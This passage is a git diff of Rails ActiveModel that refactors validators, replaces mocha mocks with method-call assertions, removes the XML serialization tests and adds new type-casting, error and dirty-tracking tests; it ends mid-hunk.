a/activemodel/lib/active_model/validations/with.rb +++ b/activemodel/lib/active_model/validations/with.rb @@ -1,15 +1,5 @@ module ActiveModel module Validations - module HelperMethods - private - def _merge_attributes(attr_names) - options = attr_names.extract_options!.symbolize_keys - attr_names.flatten! - options[:attributes] = attr_names - options - end - end - class WithValidator < EachValidator # :nodoc: def validate_each(record, attr, val) method_name = options[:with] diff --git a/activemodel/lib/active_model/validator.rb b/activemodel/lib/active_model/validator.rb index 1d2888a818..699f74ed17 100644 --- a/activemodel/lib/active_model/validator.rb +++ b/activemodel/lib/active_model/validator.rb @@ -100,7 +100,7 @@ module ActiveModel # PresenceValidator.kind # => :presence # UniquenessValidator.kind # => :uniqueness def self.kind - @kind ||= name.split('::').last.underscore.sub(/_validator$/, '').to_sym unless anonymous? + @kind ||= name.split('::').last.underscore.chomp('_validator').to_sym unless anonymous? end # Accepts options that will be made available through the +options+ reader. @@ -163,10 +163,6 @@ module ActiveModel # +ArgumentError+ when invalid options are supplied. def check_validity! end - - def should_validate?(record) # :nodoc: - !record.persisted? || record.changed? || record.marked_for_destruction? - end end # +BlockValidator+ is a special +EachValidator+ which receives a block on initialization diff --git a/activemodel/test/cases/attribute_assignment_test.rb b/activemodel/test/cases/attribute_assignment_test.rb index 3b01644dd1..287bea719c 100644 --- a/activemodel/test/cases/attribute_assignment_test.rb +++ b/activemodel/test/cases/attribute_assignment_test.rb @@ -1,4 +1,5 @@ require "cases/helper" +require "active_support/core_ext/hash/indifferent_access" require "active_support/hash_with_indifferent_access" class AttributeAssignmentTest < ActiveModel::TestCase @@ -23,13 +24,32 @@ class AttributeAssignmentTest < ActiveModel::TestCase class ErrorFromAttributeWriter < StandardError end - class ProtectedParams < ActiveSupport::HashWithIndifferentAccess + class ProtectedParams + attr_accessor :permitted + alias :permitted? :permitted + + delegate :keys, :key?, :has_key?, :empty?, to: :@parameters + + def initialize(attributes) + @parameters = attributes.with_indifferent_access + @permitted = false + end + def permit! @permitted = true + self end - def permitted? - @permitted ||= false + def [](key) + @parameters[key] + end + + def to_h + @parameters + end + + def stringify_keys + dup end def dup @@ -58,8 +78,6 @@ class AttributeAssignmentTest < ActiveModel::TestCase end test "assign private attribute" do - rubinius_skip "https://github.com/rubinius/rubinius/issues/3328" - model = Model.new assert_raises(ActiveModel::UnknownAttributeError) do model.assign_attributes(metadata: { a: 1 }) @@ -72,7 +90,7 @@ class AttributeAssignmentTest < ActiveModel::TestCase end end - test "an ArgumentError is raised if a non-hash-like obejct is passed" do + test "an ArgumentError is raised if a non-hash-like object is passed" do assert_raises(ArgumentError) do Model.new(1) end diff --git a/activemodel/test/cases/callbacks_test.rb b/activemodel/test/cases/callbacks_test.rb index 85455c112c..e4ecc0adb4 100644 --- a/activemodel/test/cases/callbacks_test.rb +++ b/activemodel/test/cases/callbacks_test.rb @@ -28,7 +28,7 @@ class CallbacksTest < ActiveModel::TestCase false end - after_create "@callbacks << :final_callback" + ActiveSupport::Deprecation.silence { after_create "@callbacks << :final_callback" } def initialize(options = {}) @callbacks = [] diff --git a/activemodel/test/cases/dirty_test.rb b/activemodel/test/cases/dirty_test.rb index 66ed8a350a..d17a12ad12 100644 --- a/activemodel/test/cases/dirty_test.rb +++ b/activemodel/test/cases/dirty_test.rb @@ -137,6 +137,19 @@ class DirtyTest < ActiveModel::TestCase assert_equal [nil, "Jericho Cane"], @model.previous_changes['name'] end + test "setting new attributes should not affect previous changes" do + @model.name = "Jericho Cane" + @model.save + @model.name = "DudeFella ManGuy" + assert_equal [nil, "Jericho Cane"], @model.name_previous_change + end + + test "saving should preserve model's previous changed status" do + @model.name = "Jericho Cane" + @model.save + assert @model.name_previously_changed? + end + test "previous value is preserved when changed after save" do assert_equal({}, @model.changed_attributes) @model.name = "Paul" diff --git a/activemodel/test/cases/errors_test.rb b/activemodel/test/cases/errors_test.rb index da142ea2c0..fbf208836f 100644 --- a/activemodel/test/cases/errors_test.rb +++ b/activemodel/test/cases/errors_test.rb @@ -11,7 +11,7 @@ class ErrorsTest < ActiveModel::TestCase attr_reader :errors def validate! - errors.add(:name, "cannot be nil") if name == nil + errors.add(:name, :blank, message: "cannot be nil") if name == nil end def read_attribute_for_validation(attr) @@ -128,6 +128,13 @@ class ErrorsTest < ActiveModel::TestCase assert !person.errors.include?(:foo) end + test "include? does not add a key to messages hash" do + person = Person.new + person.errors.include?(:foo) + + assert_not person.errors.messages.key?(:foo) + end + test "adding errors using conditionals with Person#validate!" do person = Person.new person.validate! @@ -149,6 +156,12 @@ class ErrorsTest < ActiveModel::TestCase assert_equal ["cannot be blank"], person.errors[:name] end + test "add an error message on a specific attribute with a defined type" do + person = Person.new + person.errors.add(:name, :blank, message: "cannot be blank") + assert_equal ["cannot be blank"], person.errors[:name] + end + test "add an error with a symbol" do person = Person.new person.errors.add(:name, :blank) @@ -212,6 +225,12 @@ class ErrorsTest < ActiveModel::TestCase assert_equal 1, person.errors.size end + test "count calculates the number of error messages" do + person = Person.new + person.errors.add(:name, "cannot be blank") + assert_equal 1, person.errors.count + end + test "to_a returns the list of errors with complete messages containing the attribute names" do person = Person.new person.errors.add(:name, "cannot be blank") @@ -287,60 +306,67 @@ class ErrorsTest < ActiveModel::TestCase test "add_on_empty generates message" do person = Person.new - person.errors.expects(:generate_message).with(:name, :empty, {}) - assert_deprecated do - person.errors.add_on_empty :name + assert_called_with(person.errors, :generate_message, [:name, :empty, {}]) do + assert_deprecated do + person.errors.add_on_empty :name + end end end test "add_on_empty generates message for multiple attributes" do person = Person.new - person.errors.expects(:generate_message).with(:name, :empty, {}) - person.errors.expects(:generate_message).with(:age, :empty, {}) - assert_deprecated do - person.errors.add_on_empty [:name, :age] + expected_calls = [ [:name, :empty, {}], [:age, :empty, {}] ] + assert_called_with(person.errors, :generate_message, expected_calls) do + assert_deprecated do + person.errors.add_on_empty [:name, :age] + end end end test "add_on_empty generates message with custom default message" do person = Person.new - person.errors.expects(:generate_message).with(:name, :empty, { message: 'custom' }) - assert_deprecated do - person.errors.add_on_empty :name, message: 'custom' + assert_called_with(person.errors, :generate_message, [:name, :empty, { message: 'custom' }]) do + assert_deprecated do + person.errors.add_on_empty :name, message: 'custom' + end end end test "add_on_empty generates message with empty string value" do person = Person.new person.name = '' - person.errors.expects(:generate_message).with(:name, :empty, {}) - assert_deprecated do - person.errors.add_on_empty :name + assert_called_with(person.errors, :generate_message, [:name, :empty, {}]) do + assert_deprecated do + person.errors.add_on_empty :name + end end end test "add_on_blank generates message" do person = Person.new - person.errors.expects(:generate_message).with(:name, :blank, {}) - assert_deprecated do - person.errors.add_on_blank :name + assert_called_with(person.errors, :generate_message, [:name, :blank, {}]) do + assert_deprecated do + person.errors.add_on_blank :name + end end end test "add_on_blank generates message for multiple attributes" do person = Person.new - person.errors.expects(:generate_message).with(:name, :blank, {}) - person.errors.expects(:generate_message).with(:age, :blank, {}) - assert_deprecated do - person.errors.add_on_blank [:name, :age] + expected_calls = [ [:name, :blank, {}], [:age, :blank, {}] ] + assert_called_with(person.errors, :generate_message, expected_calls) do + assert_deprecated do + person.errors.add_on_blank [:name, :age] + end end end test "add_on_blank generates message with custom default message" do person = Person.new - person.errors.expects(:generate_message).with(:name, :blank, { message: 'custom' }) - assert_deprecated do - person.errors.add_on_blank :name, message: 'custom' + assert_called_with(person.errors, :generate_message, [:name, :blank, { message: 'custom' }]) do + assert_deprecated do + person.errors.add_on_blank :name, message: 'custom' + end end end @@ -377,6 +403,12 @@ class ErrorsTest < ActiveModel::TestCase assert_empty errors.details[:name] end + test "delete returns the deleted messages" do + errors = ActiveModel::Errors.new(Person.new) + errors.add(:name, :invalid) + assert_equal ["is invalid"], errors.delete(:name) + end + test "clear removes details" do person = Person.new person.errors.add(:name, :invalid) @@ -385,4 +417,14 @@ class ErrorsTest < ActiveModel::TestCase person.errors.clear assert person.errors.details.empty? end + + test "copy errors" do + errors = ActiveModel::Errors.new(Person.new) + errors.add(:name, :invalid) + person = Person.new + person.errors.copy!(errors) + + assert_equal [:name], person.errors.messages.keys + assert_equal [:name], person.errors.details.keys + end end diff --git a/activemodel/test/cases/forbidden_attributes_protection_test.rb b/activemodel/test/cases/forbidden_attributes_protection_test.rb index 3cb204a2c5..d8d757f52a 100644 --- a/activemodel/test/cases/forbidden_attributes_protection_test.rb +++ b/activemodel/test/cases/forbidden_attributes_protection_test.rb @@ -2,12 +2,14 @@ require 'cases/helper' require 'active_support/core_ext/hash/indifferent_access' require 'models/account' -class ProtectedParams < ActiveSupport::HashWithIndifferentAccess +class ProtectedParams attr_accessor :permitted alias :permitted? :permitted + delegate :keys, :key?, :has_key?, :empty?, to: :@parameters + def initialize(attributes) - super(attributes) + @parameters = attributes @permitted = false end @@ -15,6 +17,10 @@ class ProtectedParams < ActiveSupport::HashWithIndifferentAccess @permitted = true self end + + def to_h + @parameters + end end class ActiveModelMassUpdateProtectionTest < ActiveSupport::TestCase diff --git a/activemodel/test/cases/helper.rb b/activemodel/test/cases/helper.rb index 2b9de5e5d2..44c26e4f10 100644 --- a/activemodel/test/cases/helper.rb +++ b/activemodel/test/cases/helper.rb @@ -1,6 +1,3 @@ -require File.expand_path('../../../../load_paths', __FILE__) - -require 'config' require 'active_model' require 'active_support/core_ext/string/access' @@ -11,8 +8,7 @@ ActiveSupport::Deprecation.debug = true I18n.enforce_available_locales = false require 'active_support/testing/autorun' - -require 'mocha/setup' # FIXME: stop using mocha +require 'active_support/testing/method_call_assertions' # Skips the current run on Rubinius using Minitest::Assertions#skip def rubinius_skip(message = '') @@ -22,3 +18,7 @@ end def jruby_skip(message = '') skip message if defined?(JRUBY_VERSION) end + +class ActiveModel::TestCase + include ActiveSupport::Testing::MethodCallAssertions +end diff --git a/activemodel/test/cases/serialization_test.rb b/activemodel/test/cases/serialization_test.rb index 4ae41aa19c..8d3165cd78 100644 --- a/activemodel/test/cases/serialization_test.rb +++ b/activemodel/test/cases/serialization_test.rb @@ -16,6 +16,14 @@ class SerializationTest < ActiveModel::TestCase instance_values.except("address", "friends") end + def method_missing(method_name, *args) + if method_name == :bar + 'i_am_bar' + else + super + end + end + def foo 'i_am_foo' end @@ -58,23 +66,22 @@ class SerializationTest < ActiveModel::TestCase end def test_method_serializable_hash_should_work_with_methods_option - expected = {"name"=>"David", "gender"=>"male", "foo"=>"i_am_foo", "email"=>"david@example.com"} - assert_equal expected, @user.serializable_hash(methods: [:foo]) + expected = {"name"=>"David", "gender"=>"male", "foo"=>"i_am_foo", "bar"=>"i_am_bar", "email"=>"david@example.com"} + assert_equal expected, @user.serializable_hash(methods: [:foo, :bar]) end def test_method_serializable_hash_should_work_with_only_and_methods - expected = {"foo"=>"i_am_foo"} - assert_equal expected, @user.serializable_hash(only: [], methods: [:foo]) + expected = {"foo"=>"i_am_foo", "bar"=>"i_am_bar"} + assert_equal expected, @user.serializable_hash(only: [], methods: [:foo, :bar]) end def test_method_serializable_hash_should_work_with_except_and_methods - expected = {"gender"=>"male", "foo"=>"i_am_foo"} - assert_equal expected, @user.serializable_hash(except: [:name, :email], methods: [:foo]) + expected = {"gender"=>"male", "foo"=>"i_am_foo", "bar"=>"i_am_bar"} + assert_equal expected, @user.serializable_hash(except: [:name, :email], methods: [:foo, :bar]) end - def test_should_not_call_methods_that_dont_respond - expected = {"name"=>"David", "gender"=>"male", "email"=>"david@example.com"} - assert_equal expected, @user.serializable_hash(methods: [:bar]) + def test_should_raise_NoMethodError_for_non_existing_method + assert_raise(NoMethodError) { @user.serializable_hash(methods: [:nada]) } end def test_should_use_read_attribute_for_serialization diff --git a/activemodel/test/cases/serializers/xml_serialization_test.rb b/activemodel/test/cases/serializers/xml_serialization_test.rb deleted file mode 100644 index 22fca5bd17..0000000000 --- a/activemodel/test/cases/serializers/xml_serialization_test.rb +++ /dev/null @@ -1,250 +0,0 @@ -require 'cases/helper' -require 'models/contact' -require 'active_support/core_ext/object/instance_variables' -require 'ostruct' - -module Admin - class Contact < ::Contact - end -end - -class Customer < Struct.new(:name) -end - -class Address - include ActiveModel::Serializers::Xml - - attr_accessor :street, :city, :state, :zip, :apt_number - - def attributes - instance_values - end -end - -class SerializableContact < Contact - def serializable_hash(options={}) - super(options.merge(only: [:name, :age])) - end -end - -class XmlSerializationTest < ActiveModel::TestCase - def setup - @contact = Contact.new - @contact.name = 'aaron stack' - @contact.age = 25 - @contact.created_at = Time.utc(2006, 8, 1) - @contact.awesome = false - customer = Customer.new - customer.name = "John" - @contact.preferences = customer - @contact.address = Address.new - @contact.address.city = "Springfield" - @contact.address.apt_number = 35 - @contact.friends = [Contact.new, Contact.new] - @contact.contact = SerializableContact.new - end - - test "should serialize default root" do - xml = @contact.to_xml - assert_match %r{^<contact>}, xml - assert_match %r{</contact>$}, xml - end - - test "should serialize namespaced root" do - xml = Admin::Contact.new(@contact.attributes).to_xml - assert_match %r{^<contact>}, xml - assert_match %r{</contact>$}, xml - end - - test "should serialize default root with namespace" do - xml = @contact.to_xml namespace: "http://xml.rubyonrails.org/contact" - assert_match %r{^<contact xmlns="http://xml.rubyonrails.org/contact">}, xml - assert_match %r{</contact>$}, xml - end - - test "should serialize custom root" do - xml = @contact.to_xml root: 'xml_contact' - assert_match %r{^<xml-contact>}, xml - assert_match %r{</xml-contact>$}, xml - end - - test "should allow undasherized tags" do - xml = @contact.to_xml root: 'xml_contact', dasherize: false - assert_match %r{^<xml_contact>}, xml - assert_match %r{</xml_contact>$}, xml - assert_match %r{<created_at}, xml - end - - test "should allow camelized tags" do - xml = @contact.to_xml root: 'xml_contact', camelize: true - assert_match %r{^<XmlContact>}, xml - assert_match %r{</XmlContact>$}, xml - assert_match %r{<CreatedAt}, xml - end - - test "should allow lower-camelized tags" do - xml = @contact.to_xml root: 'xml_contact', camelize: :lower - assert_match %r{^<xmlContact>}, xml - assert_match %r{</xmlContact>$}, xml - assert_match %r{<createdAt}, xml - end - - test "should use serializable hash" do - @contact = SerializableContact.new - @contact.name = 'aaron stack' - @contact.age = 25 - - xml = @contact.to_xml - assert_match %r{<name>aaron stack</name>}, xml - assert_match %r{<age type="integer">25</age>}, xml - assert_no_match %r{<awesome>}, xml - end - - test "should allow skipped types" do - xml = @contact.to_xml skip_types: true - assert_match %r{<age>25</age>}, xml - end - - test "should include yielded additions" do - xml_output = @contact.to_xml do |xml| - xml.creator "David" - end - assert_match %r{<creator>David</creator>}, xml_output - end - - test "should serialize string" do - assert_match %r{<name>aaron stack</name>}, @contact.to_xml - end - - test "should serialize nil" do - assert_match %r{<pseudonyms nil="true"/>}, @contact.to_xml(methods: :pseudonyms) - end - - test "should serialize integer" do - assert_match %r{<age type="integer">25</age>}, @contact.to_xml - end - - test "should serialize datetime" do - assert_match %r{<created-at type="dateTime">2006-08-01T00:00:00Z</created-at>}, @contact.to_xml - end - - test "should serialize boolean" do - assert_match %r{<awesome type="boolean">false</awesome>}, @contact.to_xml - end - - test "should serialize array" do - assert_match %r{<social type="array">\s*<social>twitter</social>\s*<social>github</social>\s*</social>}, @contact.to_xml(methods: :social) - end - - test "should serialize hash" do - assert_match %r{<network>\s*<git type="symbol">github</git>\s*</network>}, @contact.to_xml(methods: :network) - end - - test "should serialize yaml" do - assert_match %r{<preferences type="yaml">--- !ruby/struct:Customer(\s*)\nname: John\n</preferences>}, @contact.to_xml - end - - test "should call proc on object" do - proc = Proc.new { |options| options[:builder].tag!('nationality', 'unknown') } - xml = @contact.to_xml(procs: [ proc ]) - assert_match %r{<nationality>unknown</nationality>}, xml - end - - test "should supply serializable to second proc argument" do - proc = Proc.new { |options, record| options[:builder].tag!('name-reverse', record.name.reverse) } - xml = @contact.to_xml(procs: [ proc ]) - assert_match %r{<name-reverse>kcats noraa</name-reverse>}, xml - end - - test "should serialize string correctly when type passed" do - xml = @contact.to_xml type: 'Contact' - assert_match %r{<contact type="Contact">}, xml - assert_match %r{<name>aaron stack</name>}, xml - end - - test "include option with singular association" do - xml = @contact.to_xml include: :address, indent: 0 - assert xml.include?(@contact.address.to_xml(indent: 0, skip_instruct: true)) - end - - test "include option with plural association" do - xml = @contact.to_xml include: :friends, indent: 0 - assert_match %r{<friends type="array">}, xml - assert_match %r{<friend type="Contact">}, xml - end - - class FriendList - def initialize(friends) - @friends = friends - end - - def to_ary - @friends - end - end - - test "include option with ary" do - @contact.friends = FriendList.new(@contact.friends) - xml = @contact.to_xml include: :friends, indent: 0 - assert_match %r{<friends type="array">}, xml - assert_match %r{<friend type="Contact">}, xml - end - - test "multiple includes" do - xml = @contact.to_xml indent: 0, skip_instruct: true, include: [ :address, :friends ] - assert xml.include?(@contact.address.to_xml(indent: 0, skip_instruct: true)) - assert_match %r{<friends type="array">}, xml - assert_match %r{<friend type="Contact">}, xml - end - - test "include with options" do - xml = @contact.to_xml indent: 0, skip_instruct: true, include: { address: { only: :city } } - assert xml.include?(%(><address><city>Springfield</city></address>)) - end - - test "propagates skip_types option to included associations" do - xml = @contact.to_xml include: :friends, indent: 0, skip_types: true - assert_match %r{<friends>}, xml - assert_match %r{<friend>}, xml - end - - test "propagates skip-types option to included associations and attributes" do - xml = @contact.to_xml skip_types: true, include: :address, indent: 0 - assert_match %r{<address>}, xml - assert_match %r{<apt-number>}, xml - end - - test "propagates camelize option to included associations and attributes" do - xml = @contact.to_xml camelize: true, include: :address, indent: 0 - assert_match %r{<Address>}, xml - assert_match %r{<AptNumber type="integer">}, xml - end - - test "propagates dasherize option to included associations and attributes" do - xml = @contact.to_xml dasherize: false, include: :address, indent: 0 - assert_match %r{<apt_number type="integer">}, xml - end - - test "don't propagate skip_types if skip_types is defined at the included association level" do - xml = @contact.to_xml skip_types: true, include: { address: { skip_types: false } }, indent: 0 - assert_match %r{<address>}, xml - assert_match %r{<apt-number type="integer">}, xml - end - - test "don't propagate camelize if camelize is defined at the included association level" do - xml = @contact.to_xml camelize: true, include: { address: { camelize: false } }, indent: 0 - assert_match %r{<address>}, xml - assert_match %r{<apt-number type="integer">}, xml - end - - test "don't propagate dasherize if dasherize is defined at the included association level" do - xml = @contact.to_xml dasherize: false, include: { address: { dasherize: true } }, indent: 0 - assert_match %r{<address>}, xml - assert_match %r{<apt-number type="integer">}, xml - end - - test "association with sti" do - xml = @contact.to_xml(include: :contact) - assert xml.include?(%(<contact type="SerializableContact">)) - end -end diff --git a/activemodel/test/cases/translation_test.rb b/activemodel/test/cases/translation_test.rb index cedc812ec7..2c89388f14 100644 --- a/activemodel/test/cases/translation_test.rb +++ b/activemodel/test/cases/translation_test.rb @@ -88,6 +88,11 @@ class ActiveModelI18nTests < ActiveModel::TestCase assert_equal 'child model', Child.model_name.human end + def test_translated_model_with_namespace + I18n.backend.store_translations 'en', activemodel: { models: { 'person/gender': 'gender model' } } + assert_equal 'gender model', Person::Gender.model_name.human + end + def test_translated_model_names_with_ancestors_fallback I18n.backend.store_translations 'en', activemodel: { models: { person: 'person model' } } assert_equal 'person model', Child.model_name.human diff --git a/activerecord/test/cases/type/decimal_test.rb b/activemodel/test/cases/type/decimal_test.rb index fe49d0e79a..1950566c0e 100644 --- a/activerecord/test/cases/type/decimal_test.rb +++ b/activemodel/test/cases/type/decimal_test.rb @@ -1,8 +1,9 @@ require "cases/helper" +require "active_model/type" -module ActiveRecord +module ActiveModel module Type - class DecimalTest < ActiveRecord::TestCase + class DecimalTest < ActiveModel::TestCase def test_type_cast_decimal type = Decimal.new assert_equal BigDecimal.new("0"), type.cast(BigDecimal.new("0")) @@ -25,6 +26,11 @@ module ActiveRecord assert_equal BigDecimal("0.33"), type.cast(Rational(1, 3)) end + def test_type_cast_decimal_from_rational_with_precision_and_scale + type = Decimal.new(precision: 4, scale: 2) + assert_equal BigDecimal("0.33"), type.cast(Rational(1, 3)) + end + def test_type_cast_decimal_from_rational_without_precision_defaults_to_18_36 type = Decimal.new assert_equal BigDecimal("0.333333333333333333E0"), type.cast(Rational(1, 3)) @@ -46,6 +52,13 @@ module ActiveRecord assert_not type.changed?(5.0, 5.0, '5.0') assert_not type.changed?(-5.0, -5.0, '-5.0') end + + def test_scale_is_applied_before_precision_to_prevent_rounding_errors + type = Decimal.new(precision: 5, scale: 3) + + assert_equal BigDecimal("1.250"), type.cast(1.250473853637869) + assert_equal BigDecimal("1.250"), type.cast("1.250473853637869") + end end end end diff --git a/activemodel/test/cases/type/integer_test.rb b/activemodel/test/cases/type/integer_test.rb new file mode 100644 index 0000000000..6603f25c9a --- /dev/null +++ b/activemodel/test/cases/type/integer_test.rb @@ -0,0 +1,108 @@ +require "cases/helper" +require "active_model/type" + +module ActiveModel + module Type + class IntegerTest < ActiveModel::TestCase + test "simple values" do + type = Type::Integer.new + assert_equal 1, type.cast(1) + assert_equal 1, type.cast('1') + assert_equal 1, type.cast('1ignore') + assert_equal 0, type.cast('bad1') + assert_equal 0, type.cast('bad') + assert_equal 1, type.cast(1.7) + assert_equal 0, type.cast(false) + assert_equal 1, type.cast(true) + assert_nil type.cast(nil) + end + + test "random objects cast to nil" do + type = Type::Integer.new + assert_nil type.cast([1,2]) + assert_nil type.cast({1 => 2}) + assert_nil type.cast(1..2) + end + + test "casting objects without to_i" do + type = Type::Integer.new + assert_nil type.cast(::Object.new) + end + + test "casting nan and infinity" do + type = Type::Integer.new + assert_nil type.cast(::Float::NAN) + assert_nil type.cast(1.0/0.0) + end + + test "casting booleans for database" do + type = Type::Integer.new + assert_equal 1, type.serialize(true) + assert_equal 0, type.serialize(false) + end + + test "changed?" do + type = Type::Integer.new + + assert type.changed?(5, 5, '5wibble') + assert_not type.changed?(5, 5, '5') + assert_not type.changed?(5, 5, '5.0') + assert_not type.changed?(-5, -5, '-5') + assert_not type.changed?(-5, -5, '-5.0') + assert_not type.changed?(nil, nil, nil) + end + + test "values below int min value are out of range" do + assert_raises(ActiveModel::RangeError) do + Integer.new.serialize(-2147483649) + end + end + + test "values above int max value are out of range" do + assert_raises(ActiveModel::RangeError) do + Integer.new.serialize(2147483648) + end + end + + test "very small numbers are out of range" do + assert_raises(ActiveModel::RangeError) do + Integer.new.serialize(-9999999999999999999999999999999) + end + end + + test "very large numbers are out of range" do + assert_raises(ActiveModel::RangeError) do + Integer.new.serialize(9999999999999999999999999999999) + end + end + + test "normal numbers are in range" do + type = Integer.new + assert_equal(0, type.serialize(0)) + assert_equal(-1, type.serialize(-1)) + assert_equal(1, type.serialize(1)) + end + + test "int max value is in range" do + assert_equal(2147483647, Integer.new.serialize(2147483647)) + end + + test "int min value is in range" do + assert_equal(-2147483648, Integer.new.serialize(-2147483648)) + end + + test "columns with a larger limit have larger ranges" do + type = Integer.new(limit: 8) + + assert_equal(9223372036854775807, type.serialize(9223372036854775807)) + assert_equal(-9223372036854775808, type.serialize(-9223372036854775808)) + assert_raises(ActiveModel::RangeError) do + type.serialize(-9999999999999999999999999999999) + end + assert_raises(ActiveModel::RangeError) do + type.serialize(9999999999999999999999999999999) + end + end + end + end +end diff --git a/activemodel/test/cases/type/registry_test.rb b/activemodel/test/cases/type/registry_test.rb new file mode 100644 index 0000000000..2a48998a62 --- /dev/null +++ b/activemodel/test/cases/type/registry_test.rb @@ -0,0 +1,39 @@ +require "cases/helper" +require "active_model/type" + +module ActiveModel + class RegistryTest < ActiveModel::TestCase + test "a class can be registered for a symbol" do + registry = Type::Registry.new + registry.register(:foo, ::String) + registry.register(:bar, ::Array) + + assert_equal "", registry.lookup(:foo) + assert_equal [], registry.lookup(:bar) + end + + test "a block can be registered" do + registry = Type::Registry.new + registry.register(:foo) do |*args| + [*args, "block for foo"] + end + registry.register(:bar) do |*args| + [*args, "block for bar"] + end + + assert_equal [:foo, 1, "block for foo"], registry.lookup(:foo, 1) + assert_equal [:foo, 2, "block for foo"], registry.lookup(:foo, 2) + assert_equal [:bar, 1, 2, 3, "block for bar"], registry.lookup(:bar, 1, 2, 3) + end + + test "a reasonable error is given when no type is found" do + registry = Type::Registry.new + + e = assert_raises(ArgumentError) do + registry.lookup(:foo) + end + + assert_equal "Unknown type :foo", e.message + end + end +end diff --git a/activemodel/test/cases/type/string_test.rb b/activemodel/test/cases/type/string_test.rb new file mode 100644 index 0000000000..7b25a1ef74 --- /dev/null +++ b/activemodel/test/cases/type/string_test.rb @@ -0,0 +1,27 @@ +require "cases/helper" +require "active_model/type" + +module ActiveModel + class StringTypeTest < ActiveModel::TestCase + test "type casting" do + type = Type::String.new + assert_equal "t", type.cast(true) + assert_equal "f", type.cast(false) + assert_equal "123", type.cast(123) + end + + test "immutable strings are not duped coming out" do + s = "foo" + type = Type::ImmutableString.new + assert_same s, type.cast(s) + assert_same s, type.deserialize(s) + end + + test "values are duped coming out" do + s = "foo" + type = Type::String.new + assert_not_same s, type.cast(s) + assert_not_same s, type.deserialize(s) + end + end +end diff --git a/activerecord/test/cases/type/unsigned_integer_test.rb b/activemodel/test/cases/type/unsigned_integer_test.rb index f2c910eade..026cb08a06 100644 --- a/activerecord/test/cases/type/unsigned_integer_test.rb +++ b/activemodel/test/cases/type/unsigned_integer_test.rb @@ -1,14 +1,15 @@ require "cases/helper" +require "active_model/type" -module ActiveRecord +module ActiveModel module Type - class UnsignedIntegerTest < ActiveRecord::TestCase + class UnsignedIntegerTest < ActiveModel::TestCase test "unsigned int max value is in range" do assert_equal(4294967295, UnsignedInteger.new.serialize(4294967295)) end test "minus value is out of range" do - assert_raises(::RangeError) do + assert_raises(ActiveModel::RangeError) do UnsignedInteger.new.serialize(-1) end end diff --git a/activemodel/test/cases/types_test.rb b/activemodel/test/cases/types_test.rb new file mode 100644 index 0000000000..558c56f157 --- /dev/null +++ b/activemodel/test/cases/types_test.rb @@ -0,0 +1,125 @@ +require "cases/helper" +require "active_model/type" +require "active_support/core_ext/numeric/time" + +module ActiveModel + class TypesTest < ActiveModel::TestCase + def test_type_cast_boolean + type = Type::Boolean.new + assert type.cast('').nil? + assert type.cast(nil).nil? + + assert type.cast(true) + assert type.cast(1) + assert type.cast('1') + assert type.cast('t') + assert type.cast('T') + assert type.cast('true') + assert type.cast('TRUE') + assert type.cast('on') + assert type.cast('ON') + assert type.cast(' ') + assert type.cast("\u3000\r\n") + assert type.cast("\u0000") + assert type.cast('SOMETHING RANDOM') + + # explicitly check for false vs nil + assert_equal false, type.cast(false) + assert_equal false, type.cast(0) + assert_equal false, type.cast('0') + assert_equal false, type.cast('f') + assert_equal false, type.cast('F') + assert_equal false, type.cast('false') + assert_equal false, type.cast('FALSE') + assert_equal false, type.cast('off') + assert_equal false, type.cast('OFF') + end + + def test_type_cast_float + type = Type::Float.new + assert_equal 1.0, type.cast("1") + end + + def test_changing_float + type = Type::Float.new + + assert type.changed?(5.0, 5.0, '5wibble') + assert_not type.changed?(5.0, 5.0, '5') + assert_not type.changed?(5.0, 5.0, '5.0') + assert_not type.changed?(nil, nil, nil) + end + + def test_type_cast_binary + type = Type::Binary.new + assert_equal nil, type.cast(nil) + assert_equal "1", type.cast("1") + assert_equal 1, type.cast(1) + end + + def test_type_cast_time + type = Type::Time.new + assert_equal nil, type.cast(nil) + assert_equal nil, type.cast('') + assert_equal nil, type.cast('ABC') + + time_string = Time.now.utc.strftime("%T") + assert_equal time_string, type.cast(time_string).strftime("%T") + + assert_equal ::Time.utc(2000, 1, 1, 16, 45, 54), type.cast('2015-06-13T19:45:54+03:00') + assert_equal ::Time.utc(1999, 12, 31, 21, 7, 8), type.cast('06:07:08+09:00') + end + + def test_type_cast_datetime_and_timestamp + type = Type::DateTime.new + assert_equal nil, type.cast(nil) + assert_equal nil, type.cast('') + assert_equal nil, type.cast(' ') + assert_equal nil, type.cast('ABC') + + datetime_string = Time.now.utc.strftime("%FT%T") + assert_equal datetime_string, type.cast(datetime_string).strftime("%FT%T") + end + + def test_type_cast_date + type = Type::Date.new + assert_equal nil, type.cast(nil) + assert_equal nil, type.cast('') + assert_equal nil, type.cast(' ') + assert_equal nil, type.cast('ABC') + + date_string = Time.now.utc.strftime("%F") + assert_equal date_string, type.cast(date_string).strftime("%F") + end + + def test_type_cast_duration_to_integer + type = Type::Integer.new + assert_equal 1800, type.cast(30.minutes) + assert_equal 7200, type.cast(2.hours) + end + + def test_string_to_time_with_timezone + ["UTC", "US/Eastern"].each do |zone| + with_timezone_config default: zone do + type = Type::DateTime.new + assert_equal Time.utc(2013, 9, 4, 0, 0, 0), type.cast("Wed, 04 Sep 2013 03:00:00 EAT") + end + end + end + + def test_type_equality + assert_equal Type::Value.new, Type::Value.new + assert_not_equal Type::Value.new, Type::Integer.new + assert_not_equal Type::Value.new(precision: 1), Type::Value.new(precision: 2) + end + + private + + def with_timezone_config(default:) + old_zone_default = ::Time.zone_default + ::Time.zone_default = ::Time.find_zone(default) + yield + ensure + ::Time.zone_default = old_zone_default + end + end +end diff --git a/activemodel/test/cases/validations/acceptance_validation_test.rb b/activemodel/test/cases/validations/acceptance_validation_test.rb index 9c2114d83d..d3995ad5af 100644 --- a/activemodel/test/cases/validations/acceptance_validation_test.rb +++ b/activemodel/test/cases/validations/acceptance_validation_test.rb @@ -50,6 +50,20 @@ class AcceptanceValidationTest < ActiveModel::TestCase assert t.valid? end + def test_terms_of_service_agreement_with_multiple_accept_values + Topic.validates_acceptance_of(:terms_of_service, accept: [1, "I concur."]) + + t = Topic.new("title" => "We should be confirmed", "terms_of_service" => "") + assert t.invalid? + assert_equal ["must be accepted"], t.errors[:terms_of_service] + + t.terms_of_service = 1 + assert t.valid? + + t.terms_of_service = "I concur." + assert t.valid? + end + def test_validates_acceptance_of_for_ruby_class Person.validates_acceptance_of :karma diff --git a/activemodel/test/cases/validations/confirmation_validation_test.rb b/activemodel/test/cases/validations/confirmation_validation_test.rb index c1431548f7..c56bf1c0ad 100644 --- a/activemodel/test/cases/validations/confirmation_validation_test.rb +++ b/activemodel/test/cases/validations/confirmation_validation_test.rb @@ -104,4 +104,18 